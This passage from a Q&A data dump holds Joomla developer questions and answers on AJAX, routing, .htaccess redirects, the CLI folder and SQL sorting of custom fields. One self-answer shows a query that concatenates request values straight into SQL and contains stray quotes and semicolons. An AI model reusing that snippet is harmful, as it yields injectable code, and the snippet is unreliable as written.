view.&lt;/p&gt;&#xA;&lt;p&gt;My first try was to call a PHP-File in the dame directory of the view, but that didnt work either. If that would be possible it would be the best practice for me.&lt;/p&gt;&#xA;&lt;p&gt;So maybe someone can give advice on how to get that work in a view.&lt;/p&gt;&#xA;&lt;p&gt;Thanks a lot, stay healthy and safe.&lt;/p&gt;&#xA;" OwnerUserId="15210" LastActivityDate="2024-02-08T23:07:15.910" Title="Call a function using AJAX from a Joomla-View to retrieve data from the DB" Tags="|joomla-3.x|custom-component|jquery|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29114" PostTypeId="2" ParentId="29082" CreationDate="2021-05-11T11:53:41.937" Score="0" Body="&lt;p&gt;After working on that problem i figured out a solution with a little help and jsut wanted to share the solution to you.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = &amp;quot;SELECT sortb.value, sortb.field_id, sortc.value, sortc.field_id, &#xA;          content.*, fieldvalues.* &amp;quot;;&#xA;          FROM  #__fields_values AS fieldvalues, #__content AS content&#xA;          LEFT JOIN (#__fields_values AS sortb)&#xA;          ON (content.id = sortb.item_id AND sortb.field_id=417)&#xA;          LEFT JOIN (#__fields_values AS sortc)&#xA;          ON (content.id = sortc.item_id AND sortc.field_id=46)&#xA;          WHERE content.catid=&amp;quot; . $catid . &amp;quot; AND content.id = fieldvalues.item_id &#xA;          AND fieldvalues.field_id=418 AND fieldvalues.value LIKE '%&amp;quot; . $sorttype . &amp;quot;%' &amp;quot;;&#xA;          ORDER BY sortb.value, sortc.value;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That solution works like a charm.&lt;/p&gt;&#xA;&lt;p&gt;So thanks a lot to all who commented, stay healthy and safe!&lt;/p&gt;&#xA;" OwnerUserId="15210" LastActivityDate="2021-05-11T11:53:41.937" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29115" PostTypeId="1" AcceptedAnswerId="29132" CreationDate="2021-05-11T20:33:39.653" Score="1" ViewCount="584" Body="&lt;p&gt;I am developing a Joomla component. In javascript I use jQuery.ajax() for making a (php) controller method put data (from javascript) into the database. However, after installing the component on one Joomla site, it works, but on another site the data passed through jQuery.ajax() is not obtained by JInput::get().&lt;/p&gt;&#xA;&lt;p&gt;The (simplified) ajax request is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax( {&#xA;  'type': 'POST',&#xA;  'url': 'index.php?option=com_example&amp;amp;task=examplecontroller.handleAjaxRequest',&#xA;  'data': { 'ajaxData': 'test' },&#xA;  'success': function( ajaxResult ) {&#xA;    alert( ajaxResult );&#xA;  }&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The (simplified) controller method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function handleAjaxRequest()&#xA;{&#xA;  $app = JFactory::getApplication();&#xA;  $input = $app-&amp;gt;input;&#xA;  echo $input-&amp;gt;get( &amp;quot;ajaxData&amp;quot;, &amp;quot;defaultValue&amp;quot;, &amp;quot;string&amp;quot; );&#xA;  $app-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On one of my sites, an alert with text 'test' is shown as expected. But on the other site, an alert with text 'defaultValue' is shown, indicating that JInput::get() did not find data item 'ajaxData' and used the default value provided in its second parameter.&lt;/p&gt;&#xA;&lt;p&gt;Both sites are installed on the same domain, each on a different subdomain. So same php version, Joomla upated to the same version (3.9.26), using same jQuery version (in jquery.min.js it says v1.12.4-joomla).&lt;/p&gt;&#xA;&lt;p&gt;Anyone any idea what or which setting could cause this? I would really appreciate it, because I have no idea any more.&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&lt;p&gt;I inspected the $_POST and the $_GET variables: url parameters 'option' and 'task' are present (in $_GET) on both sites, but url parameter 'ajaxData' is only present (in $_POST) on one of the sites.&lt;/p&gt;&#xA;&lt;p&gt;The .htaccess files are exactly the same on both sites.&lt;/p&gt;&#xA;" OwnerUserId="15265" LastEditorUserId="15265" LastEditDate="2021-05-13T09:11:26.390" LastActivityDate="2021-05-14T09:31:16.023" Title="Controller method does not get data passed through jQuery.ajax()" Tags="|custom-component|jquery|ajax|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29116" PostTypeId="2" ParentId="29113" CreationDate="2021-05-12T11:54:24.493" Score="0" Body="&lt;p&gt;Just an idea: I always try to find an example in Joomla itself. In Joomla 4 there is the spinner. Maybe the code with which this was inserted will help you:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/25776&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/25776&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2021-05-12T11:54:24.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29117" PostTypeId="2" ParentId="20667" CreationDate="2021-05-12T12:04:10.357" Score="0" Body="&lt;p&gt;Do you see an error message if you activate &lt;a href=&quot;https://www.joomlashack.com/blog/joomla/how-to-turn-your-error-reporting-to-maximum/&quot; rel=&quot;nofollow noreferrer&quot;&gt;error reporting&lt;/a&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Maybe you can also check again that you have set everything up correctly: &lt;a href=&quot;https://docs.joomla.org/J3.x:Setup_a_Multilingual_Site&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Setup_a_Multilingual_Site&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2021-05-12T12:04:10.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29118" PostTypeId="1" AcceptedAnswerId="29121" CreationDate="2021-05-12T16:46:21.590" Score="0" ViewCount="209" Body="&lt;p&gt;Joomla use own SEF redirects what drives any variants of URL to same article basing on Article ID (no matter what alias will be used)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/3-welcome-to-your-blog.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/3-welcome-to-your-blog.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;or&#xA;&lt;a href=&quot;http://example.com/3-welcome-to.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/3-welcome-to.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;or&#xA;&lt;a href=&quot;http://example.com/3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/3.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;all above drive at the same article.&lt;/p&gt;&#xA;&lt;p&gt;My question - where is a part of code responsible for such a behaviour ?&lt;/p&gt;&#xA;&lt;p&gt;Because I'd like to comment (disable) this part of code what is convenient feature sometimes, but in my case I need TO SAVE Joomla article IDs in URL - but Joomla should answers only to Article ID with EXACT alias&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/3-welcome-to-your-blog.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/3-welcome-to-your-blog.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;all other &amp;quot;URL variations&amp;quot; like&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/3-welcome-to.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/3-welcome-to.html&lt;/a&gt; etc&lt;/p&gt;&#xA;&lt;p&gt;should give natural 404 error.&lt;/p&gt;&#xA;&lt;p&gt;I don't create a module or plugin, I just want to change default Joomla SEF routing to set &amp;quot;Article ID + exact alias only&amp;quot; if it's possible.&lt;/p&gt;&#xA;&lt;p&gt;Thx in advance for any opinions or ideas to try (excluding idea &amp;quot;disable Article IDs through Admin settings&amp;quot; - as said above I need to save the ones)&lt;/p&gt;&#xA;" OwnerUserId="13199" LastActivityDate="2021-05-12T20:09:53.407" Title="How to disable Joomla routing by Article ID with any alias but use exact alias only" Tags="|sef|jroute|alias|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29119" PostTypeId="2" ParentId="28700" CreationDate="2021-05-12T16:58:40.890" Score="1" Body="&lt;p&gt;If you only see 3 out of 5 payment methods then probably there is a restriction that prevents those methods from being displayed. Do you use another extension for integration with a payment provider that might need a bit of extra configuration?&lt;/p&gt;&#xA;&lt;p&gt;If I see it correctly then the 3 methods displayed are the ones that don't need anything special to work so I would checkout if the configuration of the other 2 is OK.&lt;/p&gt;&#xA;" OwnerUserId="15268" LastEditorUserId="12352" LastEditDate="2021-05-12T23:40:33.443" LastActivityDate="2021-05-12T23:40:33.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29120" PostTypeId="1" CreationDate="2021-05-12T19:24:32.360" Score="0" ViewCount="100" Body="&lt;p&gt;I created my own design for &lt;strong&gt;blog layout&lt;/strong&gt;, but after I understand, that blog don't display all articles - only &lt;strong&gt;intro&lt;/strong&gt; of &lt;strong&gt;lead&lt;/strong&gt;. Maybe I somehow can edit code and display &lt;strong&gt;all articles&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Sorry for my English...&lt;/p&gt;&#xA;" OwnerUserId="15271" LastActivityDate="2024-01-29T10:00:20.033" Title="How to show all articles in blog without tags etc" Tags="|joomla-3.x|category-blog|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29121" PostTypeId="2" ParentId="29118" CreationDate="2021-05-12T20:09:53.407" Score="2" Body="&lt;p&gt;May not be practical for blog articles, but a fixed url can be achieved via menu items: &lt;a href=&quot;https://docs.joomla.org/Search_Engine_Friendly_URLs#Limitations&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Search_Engine_Friendly_URLs#Limitations&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Otherwise, if I see it correctly, you have to write your own plugin.&#xA;&lt;a href=&quot;https://docs.joomla.org/Search_Engine_Friendly_URLs#Custom_Routing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Search_Engine_Friendly_URLs#Custom_Routing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2021-05-12T20:09:53.407" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29122" PostTypeId="2" ParentId="29115" CreationDate="2021-05-13T06:22:19.417" Score="0" Body="&lt;p&gt;in such cases I would inspect the $_POST variable to see if anything even gets into Joomla. This is to rule out something is happening within Joomla.&lt;/p&gt;&#xA;&lt;p&gt;This can be as simple as this pirce of code into your index.php file. This will give a nice formatted output of everything that is posted.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;?&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;?php&#xA;echo __FILE__ . '::' . __LINE__ . ':: ';&#xA;echo 'POST: ';&#xA;echo '&amp;lt;div style=&amp;quot;font-size: 1.5em;&amp;quot;&amp;gt;';&#xA;print_r($_POST);&#xA;echo '&amp;lt;/div&amp;gt;';&#xA;?&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;?php&#xA;exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This way you will know if you need to look at the server or further at the code. In case you have XDebug that would be even better, you can put a breakpoint at where you want to stop in the code.&lt;/p&gt;&#xA;&lt;p&gt;If you see the &lt;code&gt;ajaxData&lt;/code&gt; in that output, you know that it reached the site. If you do not see the &lt;code&gt;ajaxData&lt;/code&gt; there is most likely something on the server filtering it out. For example the .htaccess might be doing a redirect and thereby losing the payload.&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2021-05-13T06:22:19.417" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="29123" PostTypeId="1" AcceptedAnswerId="29127" CreationDate="2021-05-13T16:46:30.140" Score="2" ViewCount="664" Body="&lt;p&gt;I've searched around and can't find an explanation. According to some documentation, it seems to be something for the admin to execute from the shell.&lt;/p&gt;&#xA;" OwnerUserId="14058" LastActivityDate="2021-05-18T21:40:19.140" Title="CLI directory is publicly accessible. Is it supposed to be? Is that safe?" Tags="|cli|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29124" PostTypeId="2" ParentId="29123" CreationDate="2021-05-14T03:56:32.767" Score="3" Body="&lt;p&gt;The &lt;code&gt;/cli&lt;/code&gt; directory holds command line routines that can be executed either manually via terminal or via host managed tools like cron(scheduler) and can be called directly from the php directory or by a service like cURL which is why it needs to visible to the public with a permission of 755.&lt;/p&gt;&#xA;&lt;p&gt;Using the .htaccess directives, the list of files in the &lt;code&gt;/cli&lt;/code&gt; directory not should be able to be listed nor should it be searched by crawlers, hence if you go to &lt;a href=&quot;http://www.mysite.com/cli&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.mysite.com/cli&lt;/a&gt; then you should receive a blank page, not a listing of files.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-05-14T03:56:32.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29125" PostTypeId="2" ParentId="29120" CreationDate="2021-05-14T04:20:06.047" Score="0" Body="&lt;p&gt;Without any details of what or how you created your own Blog Layout it is impossible to say whether you have an issue your layout.&lt;/p&gt;&#xA;&lt;p&gt;However you can check the Options tab for Articles in the administrator/back end and confirm that the '# Intro Articles' is set to more than 0. See image;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D7IIF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D7IIF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I understand your question correctly I think you may have '# Leading Articles' set to One and '# Intro Articles' set to zero.&lt;/p&gt;&#xA;&lt;p&gt;If that is not the case then we would need to see the code of the Blog Layout you have created.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-05-14T04:20:06.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29126" PostTypeId="1" CreationDate="2021-05-14T04:44:32.130" Score="0" ViewCount="48" Body="&lt;p&gt;I am looking for examples of how people organise their code in a Joomla extensions, particularly components, that is beyond the basics shown in tutorials teaching you MVC and Joomla.&lt;/p&gt;&#xA;&lt;p&gt;A look through existing popular, and otherwise, extensions I see plenty of SQL in Controllers and Models doing a lot more that just managing the data and Helpers that seem to be a catch-all for everything else.&lt;/p&gt;&#xA;&lt;p&gt;In reading blogs about PHP, OO &amp;amp; MVC on good coding practices two points that get mentioned is to keep business logic out of the MVC files and in particular Controllers should only redirect and not do any processing themselves. However there is not much in the way of examples that show where that functionality should go.&lt;/p&gt;&#xA;&lt;p&gt;A look at Laravel shows a page that describes their way of doing things, &lt;a href=&quot;https://laravel.com/docs/8.x/structure#the-rules-directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://laravel.com/docs/8.x/structure#the-rules-directory&lt;/a&gt;, which is in the direction of what I am looking for in Joomla based on more experienced peoples habits.&lt;/p&gt;&#xA;&lt;p&gt;To kick things off my own convention so far has been to put utility code(a .csv reader and FTP method) I use across some extensions into a &lt;code&gt;/administrator/com_mycomponent/library/&lt;/code&gt; folder and for methods used across all my extension to handle SQL functions not available in Joomla into a system wide folder &lt;code&gt;/libraries/mycode/database/&lt;/code&gt; that is loaded via plugin.&lt;/p&gt;&#xA;&lt;p&gt;Still I am struggling with where to put the business logic code and in general better organise my extension code.&lt;/p&gt;&#xA;&lt;p&gt;Any thoughts appreciated, thanks.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-06-13T08:04:10.397" Title="How do you organise your code in a Joomla extension?" Tags="|best-practices|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29127" PostTypeId="2" ParentId="29123" CreationDate="2021-05-14T06:01:35.113" Score="4" Body="&lt;p&gt;CLI applications included in Joomla perform checks to ensure they're being executed from command line. They do not run when accessed directly by URL (using browser, cURL or anything else).&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-05-14T06:01:35.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29128" PostTypeId="2" ParentId="29123" CreationDate="2021-05-14T07:30:23.657" Score="2" Body="&lt;p&gt;Yes, the /cli/ scripts can only be run from the command line on the server.&lt;/p&gt;&#xA;&lt;p&gt;Note that the PHP run on the &lt;strong&gt;CLI might use another PHP version&lt;/strong&gt; + settings, set in /etc/php/[your php version]/&lt;strong&gt;cli&lt;/strong&gt;/php.ini&lt;/p&gt;&#xA;&lt;p&gt;The Joomla site itself might use another PHP version. On an Apache web server that configuration might be loaded from: /etc/php/[your php version]/&lt;strong&gt;apache2&lt;/strong&gt;/php.ini&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-05-14T07:30:23.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29129" PostTypeId="2" ParentId="29126" CreationDate="2021-05-14T07:53:37.460" Score="1" Body="&lt;p&gt;Think of MVC as a Remote Control, a TV Screen and a DVD player. The remote control (Controller) doesn't know anything about the TV (view) besides controlling the volume + video source. The remote control doesn't know anything about the DVD player (the model with the data) but it can control the player (model) to sends its data to the tv (view).&lt;/p&gt;&#xA;&lt;p&gt;Joomla follows that Model–View–Controller design pattern. However while Joomla components often have controllers in the /controllers/ folder, Joomla uses the view a bit like a controller for the display task. A view (/[administrator]/components/[some-component]/views/[some-view]/view.html.php) will ask for forms, items (from the model) before it uses that the HTML output from /tmpl/ etc.&lt;/p&gt;&#xA;&lt;p&gt;Besides that small deviation of the MVC pattern, I would use the models for building the query objects (with SQL), the controllers for tasks besides the default &amp;quot;display&amp;quot; task, the views for all HTML output and the helpers for other things that don't fall under the model/controller, like the back-end menu method addSubmenu (only in Joomla 3, not in Joomla 4).&lt;/p&gt;&#xA;&lt;p&gt;I would use Joomla's own code as guide to create your own custom components (in combination with the Joomla code standards &lt;a href=&quot;https://developer.joomla.org/coding-standards/html.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/coding-standards/html.html&lt;/a&gt; and PHP Code Sniffer &lt;a href=&quot;https://docs.joomla.org/Joomla_CodeSniffer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Joomla_CodeSniffer&lt;/a&gt;). That way it will be easier for you to understand Joomla's code. And your code will be easier to understand for other people who work with Joomla's code.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-05-14T07:53:37.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29130" PostTypeId="1" AcceptedAnswerId="29131" CreationDate="2021-05-14T08:23:23.400" Score="1" ViewCount="264" Body="&lt;p&gt;while updating one of my modules for J4 i recently noticed that the repeatable subform field no longer provides the added &amp;quot;row&amp;quot; in JS. Working JS for J!3.x:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$(document).on('subform-row-add', function(event, row){ console.log(row); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;logs in J!3 something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;subform-repeatable-group…m-repeatable-group-sr-0&amp;quot; data-base-name=&amp;quot;watched&amp;quot; data-group=&amp;quot;watched1&amp;quot; data-new=&amp;quot;true&amp;quot;&amp;gt; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in J!4 it returns undefined.&lt;/p&gt;&#xA;&lt;p&gt;I did not found any information in the web - did anyone noticed this aswell?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-05-14T10:41:27.613" Title="Joomla 4 - Module Backend Subform subform-row-add &quot;row&quot; not available" Tags="|javascript|custom-module|module-params|joomla-4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="29131" PostTypeId="2" ParentId="29130" CreationDate="2021-05-14T09:03:46.490" Score="2" Body="&lt;p&gt;The way the event is invoked is slightly different for Joomla 4.&#xA;You can use the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$(document).on('subform-row-add', function(event) {&#xA;    console.log(event.detail.row);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or native ES6+ Javascript (preferred):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.addEventListener('subform-row-add', ({ detail: { row } }) =&amp;gt; {&#xA;    console.log(row);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-05-14T09:03:46.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29132" PostTypeId="2" ParentId="29115" CreationDate="2021-05-14T09:31:16.023" Score="0" Body="&lt;p&gt;I overlooked a rewrite rule in .htaccess that was actually different between both sites. This rewrite rule caused a 301 redirect. The GET parameters, which are in the url itself, were copied to the newly formed url by the rewrite rule, but the POST parameters got lost, because they are not passed on to the new url in a redirect.&lt;/p&gt;&#xA;&lt;p&gt;Removing this (incorrect) rewrite rule from .htaccess solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="15265" LastActivityDate="2021-05-14T09:31:16.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29134" PostTypeId="2" ParentId="29082" CreationDate="2021-05-14T10:49:07.427" Score="1" Body="&lt;p&gt;I have reverse engineered a minimal verifiable example on db-fiddle.com based on your question and answer details.&lt;/p&gt;&#xA;&lt;p&gt;Using my reduced and generic sample data with the sql in your answer, the output is: (&lt;a href=&quot;https://www.db-fiddle.com/f/7qTgMokYTaKAY9EcPVWivL/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;DB Fiddle Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;value&lt;/th&gt;&#xA;&lt;th&gt;field_id&lt;/th&gt;&#xA;&lt;th&gt;value&lt;/th&gt;&#xA;&lt;th&gt;field_id&lt;/th&gt;&#xA;&lt;th&gt;id&lt;/th&gt;&#xA;&lt;th&gt;title&lt;/th&gt;&#xA;&lt;th&gt;alias&lt;/th&gt;&#xA;&lt;th&gt;introtext&lt;/th&gt;&#xA;&lt;th&gt;fulltext&lt;/th&gt;&#xA;&lt;th&gt;catid&lt;/th&gt;&#xA;&lt;th&gt;field_id&lt;/th&gt;&#xA;&lt;th&gt;item_id&lt;/th&gt;&#xA;&lt;th&gt;value&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;documentary&lt;/td&gt;&#xA;&lt;td&gt;417&lt;/td&gt;&#xA;&lt;td&gt;2021-05-05&lt;/td&gt;&#xA;&lt;td&gt;46&lt;/td&gt;&#xA;&lt;td&gt;5&lt;/td&gt;&#xA;&lt;td&gt;test 5&lt;/td&gt;&#xA;&lt;td&gt;test-5&lt;/td&gt;&#xA;&lt;td&gt;intro text 5&lt;/td&gt;&#xA;&lt;td&gt;The full text 5&lt;/td&gt;&#xA;&lt;td&gt;2&lt;/td&gt;&#xA;&lt;td&gt;418&lt;/td&gt;&#xA;&lt;td&gt;5&lt;/td&gt;&#xA;&lt;td&gt;Andreas Soraru&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;science-fiction&lt;/td&gt;&#xA;&lt;td&gt;417&lt;/td&gt;&#xA;&lt;td&gt;2021-01-01&lt;/td&gt;&#xA;&lt;td&gt;46&lt;/td&gt;&#xA;&lt;td&gt;1&lt;/td&gt;&#xA;&lt;td&gt;test 1&lt;/td&gt;&#xA;&lt;td&gt;test-1&lt;/td&gt;&#xA;&lt;td&gt;intro text 1&lt;/td&gt;&#xA;&lt;td&gt;The full text 1&lt;/td&gt;&#xA;&lt;td&gt;2&lt;/td&gt;&#xA;&lt;td&gt;418&lt;/td&gt;&#xA;&lt;td&gt;1&lt;/td&gt;&#xA;&lt;td&gt;Andreas Soraru&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;science-fiction&lt;/td&gt;&#xA;&lt;td&gt;417&lt;/td&gt;&#xA;&lt;td&gt;2021-03-03&lt;/td&gt;&#xA;&lt;td&gt;46&lt;/td&gt;&#xA;&lt;td&gt;3&lt;/td&gt;&#xA;&lt;td&gt;test 3&lt;/td&gt;&#xA;&lt;td&gt;test-3&lt;/td&gt;&#xA;&lt;td&gt;intro text 3&lt;/td&gt;&#xA;&lt;td&gt;The full text 3&lt;/td&gt;&#xA;&lt;td&gt;2&lt;/td&gt;&#xA;&lt;td&gt;418&lt;/td&gt;&#xA;&lt;td&gt;3&lt;/td&gt;&#xA;&lt;td&gt;Andreas Soraru&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;This is selecting all articles where &lt;code&gt;catid = 2&lt;/code&gt; and the author's name (&lt;code&gt;field_id = 418&lt;/code&gt;) contains &lt;code&gt;Soraru&lt;/code&gt;, then it sorts by genre (&lt;code&gt;field_id = 417&lt;/code&gt;) ASC, then release date (&lt;code&gt;field_id = 46&lt;/code&gt;).  You state that this &lt;em&gt;works&lt;/em&gt; for you, but let me show you a cleaner, more modern, and less bloated way of gathering and sorting this data...&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I do not recommend using old-skool comma-JOINs as you are using to relate the content table to the fields_values table.&lt;/li&gt;&#xA;&lt;li&gt;Use a pivot technique instead of making multiple JOINs. This table is often gigantic and the fewer times you need to join the whole table in your sql, the better.&lt;/li&gt;&#xA;&lt;li&gt;Don't put data in your SELECT clause unless you need it.  Those duplicated &lt;code&gt;field_id&lt;/code&gt; columns are going to overwrite each other and you don't actually need them -- let's clear them away.  I am going to assume that you need those duplicated &lt;code&gt;value&lt;/code&gt; columns, so let's give them unique aliases so that you can access them.&lt;/li&gt;&#xA;&lt;li&gt;It is appropriate to use an INNER JOIN in this case because the HAVING clause necessitates the existance of related data in the fields_values table.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;New / Recommended SQL: (&lt;a href=&quot;https://www.db-fiddle.com/f/3u5sgfD9Juh269EcdZSPkx/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;DB Fiddle Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT lmnop_content.*,&#xA;       MAX(IF(field_id = 418, value, NULL)) AS author,&#xA;       MAX(IF(field_id = 417, value, NULL)) AS genre,&#xA;       MAX(IF(field_id = 46, value, NULL)) AS release_date&#xA;FROM lmnop_content&#xA;INNER JOIN lmnop_fields_values ON id = item_id&#xA;WHERE catid = 2&#xA;GROUP BY id&#xA;HAVING MAX(IF(field_id = 418, value, NULL)) LIKE '%Soraru%'&#xA;ORDER BY genre, release_date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;id&lt;/th&gt;&#xA;&lt;th&gt;title&lt;/th&gt;&#xA;&lt;th&gt;alias&lt;/th&gt;&#xA;&lt;th&gt;introtext&lt;/th&gt;&#xA;&lt;th&gt;fulltext&lt;/th&gt;&#xA;&lt;th&gt;catid&lt;/th&gt;&#xA;&lt;th&gt;author&lt;/th&gt;&#xA;&lt;th&gt;genre&lt;/th&gt;&#xA;&lt;th&gt;release_date&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;5&lt;/td&gt;&#xA;&lt;td&gt;test 5&lt;/td&gt;&#xA;&lt;td&gt;test-5&lt;/td&gt;&#xA;&lt;td&gt;intro text 5&lt;/td&gt;&#xA;&lt;td&gt;The full text 5&lt;/td&gt;&#xA;&lt;td&gt;2&lt;/td&gt;&#xA;&lt;td&gt;Andreas Soraru&lt;/td&gt;&#xA;&lt;td&gt;documentary&lt;/td&gt;&#xA;&lt;td&gt;2021-05-05&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;1&lt;/td&gt;&#xA;&lt;td&gt;test 1&lt;/td&gt;&#xA;&lt;td&gt;test-1&lt;/td&gt;&#xA;&lt;td&gt;intro text 1&lt;/td&gt;&#xA;&lt;td&gt;The full text 1&lt;/td&gt;&#xA;&lt;td&gt;2&lt;/td&gt;&#xA;&lt;td&gt;Andreas Soraru&lt;/td&gt;&#xA;&lt;td&gt;science-fiction&lt;/td&gt;&#xA;&lt;td&gt;2021-01-01&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;3&lt;/td&gt;&#xA;&lt;td&gt;test 3&lt;/td&gt;&#xA;&lt;td&gt;test-3&lt;/td&gt;&#xA;&lt;td&gt;intro text 3&lt;/td&gt;&#xA;&lt;td&gt;The full text 3&lt;/td&gt;&#xA;&lt;td&gt;2&lt;/td&gt;&#xA;&lt;td&gt;Andreas 